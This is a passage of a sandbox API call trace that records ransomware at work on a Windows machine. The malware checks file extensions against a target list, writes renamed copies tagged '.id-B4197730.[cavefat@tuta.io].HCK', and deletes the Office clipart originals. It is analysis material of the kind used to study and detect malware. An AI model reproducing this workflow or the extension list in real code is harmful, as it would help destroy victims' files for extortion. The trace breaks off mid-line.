[0236.422] lstrlenW (lpString=".pdf") returned 4 [0236.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.422] lstrlenW (lpString=".xls") returned 4 [0236.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.422] lstrlenW (lpString=".xlsx") returned 5 [0236.422] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0236.422] lstrlenW (lpString=".ppt") returned 4 [0236.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.422] lstrlenW (lpString=".zip") returned 4 [0236.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.422] lstrlenW (lpString=".rar") returned 4 [0236.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.422] lstrlenW (lpString=".bz2") returned 4 [0236.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.422] lstrlenW (lpString=".7z") returned 3 [0236.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".dbf") returned 4 [0236.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".1cd") returned 4 [0236.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".jpg") returned 4 [0236.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".doc") returned 4 [0236.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString=".docx") returned 5 [0236.423] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0236.423] lstrlenW (lpString=".pdf") returned 4 [0236.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString=".xls") returned 4 [0236.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.423] lstrlenW (lpString=".xlsx") returned 5 [0236.423] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0236.423] lstrlenW (lpString=".ppt") returned 4 [0236.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".zip") returned 4 [0236.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.423] lstrlenW (lpString=".rar") returned 4 [0236.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString=".bz2") returned 4 [0236.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString=".7z") returned 3 [0236.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".dbf") returned 4 [0236.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.423] lstrlenW (lpString=".1cd") returned 4 [0236.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0236.424] lstrlenW (lpString=".jpg") returned 4 [0236.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.424] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.424] lstrlenW (lpString="J0145895.JPG") returned 12 [0236.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.425] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=33958) returned 1 [0236.425] CloseHandle (hObject=0x4b0) returned 1 [0236.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0236.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.426] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.426] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.426] GetLastError () returned 0x0 [0236.426] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x84a6, lpOverlapped=0x0) returned 1 [0236.433] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x84b0, lpOverlapped=0x0) returned 1 [0236.434] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.434] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.434] SetEndOfFile (hFile=0x4d4) returned 1 [0236.434] CloseHandle (hObject=0x4d4) returned 1 [0236.435] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.435] SetEndOfFile (hFile=0x4b0) returned 1 [0236.437] CloseHandle (hObject=0x4b0) returned 1 [0236.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0236.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.438] lstrlenW (lpString=".doc") returned 4 [0236.438] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.438] lstrlenW (lpString=".docx") returned 5 [0236.438] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0236.438] lstrlenW (lpString=".pdf") returned 4 [0236.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".xls") returned 4 [0236.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".xlsx") returned 5 [0236.439] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0236.439] lstrlenW (lpString=".ppt") returned 4 [0236.439] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString=".zip") returned 4 [0236.439] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".rar") returned 4 [0236.439] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".bz2") returned 4 [0236.439] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.439] lstrlenW (lpString=".7z") returned 3 [0236.439] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString=".dbf") returned 4 [0236.439] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString=".1cd") returned 4 [0236.439] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString=".jpg") returned 4 [0236.439] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.439] lstrlenW (lpString=".doc") returned 4 [0236.439] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.439] lstrlenW (lpString=".docx") returned 5 [0236.439] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0236.439] lstrlenW (lpString=".pdf") returned 4 [0236.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".xls") returned 4 [0236.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.439] lstrlenW (lpString=".xlsx") returned 5 [0236.440] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0236.440] lstrlenW (lpString=".ppt") returned 4 [0236.440] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.440] lstrlenW (lpString=".zip") returned 4 [0236.440] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.440] lstrlenW (lpString=".rar") returned 4 [0236.440] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.440] lstrlenW (lpString=".bz2") returned 4 [0236.440] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.440] lstrlenW (lpString=".7z") returned 3 [0236.440] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.440] lstrlenW (lpString=".dbf") returned 4 [0236.440] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.440] lstrlenW (lpString=".1cd") returned 4 [0236.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0236.440] lstrlenW (lpString=".jpg") returned 4 [0236.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.440] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.440] lstrlenW (lpString="J0145904.JPG") returned 12 [0236.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.443] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=39542) returned 1 [0236.443] CloseHandle (hObject=0x4b0) returned 1 [0236.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220 [0236.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.443] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.444] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.444] GetLastError () returned 0x0 [0236.444] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x9a76, lpOverlapped=0x0) returned 1 [0236.447] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x9a80, lpOverlapped=0x0) returned 1 [0236.448] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.448] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.448] SetEndOfFile (hFile=0x4d4) returned 1 [0236.448] CloseHandle (hObject=0x4d4) returned 1 [0236.448] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.448] SetEndOfFile (hFile=0x4b0) returned 1 [0236.450] CloseHandle (hObject=0x4b0) returned 1 [0236.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0236.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.795] lstrlenW (lpString=".doc") returned 4 [0236.796] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.796] lstrlenW (lpString=".docx") returned 5 [0236.796] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0236.796] lstrlenW (lpString=".pdf") returned 4 [0236.796] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".xls") returned 4 [0236.796] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".xlsx") returned 5 [0236.796] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0236.796] lstrlenW (lpString=".ppt") returned 4 [0236.796] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString=".zip") returned 4 [0236.796] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".rar") returned 4 [0236.796] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".bz2") returned 4 [0236.796] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.796] lstrlenW (lpString=".7z") returned 3 [0236.796] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString=".dbf") returned 4 [0236.796] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString=".1cd") returned 4 [0236.796] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString=".jpg") returned 4 [0236.796] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.796] lstrlenW (lpString=".doc") returned 4 [0236.796] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.796] lstrlenW (lpString=".docx") returned 5 [0236.796] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0236.796] lstrlenW (lpString=".pdf") returned 4 [0236.796] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".xls") returned 4 [0236.796] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.796] lstrlenW (lpString=".xlsx") returned 5 [0236.796] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0236.796] lstrlenW (lpString=".ppt") returned 4 [0236.797] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.797] lstrlenW (lpString=".zip") returned 4 [0236.797] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.797] lstrlenW (lpString=".rar") returned 4 [0236.797] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.797] lstrlenW (lpString=".bz2") returned 4 [0236.797] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.797] lstrlenW (lpString=".7z") returned 3 [0236.797] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.797] lstrlenW (lpString=".dbf") returned 4 [0236.797] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.797] lstrlenW (lpString=".1cd") returned 4 [0236.797] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0236.797] lstrlenW (lpString=".jpg") returned 4 [0236.797] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.797] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.797] lstrlenW (lpString="J0151045.WMF") returned 12 [0236.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.798] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=15464) returned 1 [0236.798] CloseHandle (hObject=0x568) returned 1 [0236.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0236.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.799] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.799] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0236.799] GetLastError () returned 0x0 [0236.799] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0236.801] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0236.802] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.802] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.802] SetEndOfFile (hFile=0x56c) returned 1 [0236.802] CloseHandle (hObject=0x56c) returned 1 [0236.802] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.802] SetEndOfFile (hFile=0x568) returned 1 [0236.805] CloseHandle (hObject=0x568) returned 1 [0236.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0236.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.806] lstrlenW (lpString=".doc") returned 4 [0236.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.806] lstrlenW (lpString=".docx") returned 5 [0236.806] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.806] lstrlenW (lpString=".pdf") returned 4 [0236.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.806] lstrlenW (lpString=".xls") returned 4 [0236.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.806] lstrlenW (lpString=".xlsx") returned 5 [0236.806] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.807] lstrlenW (lpString=".ppt") returned 4 [0236.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program 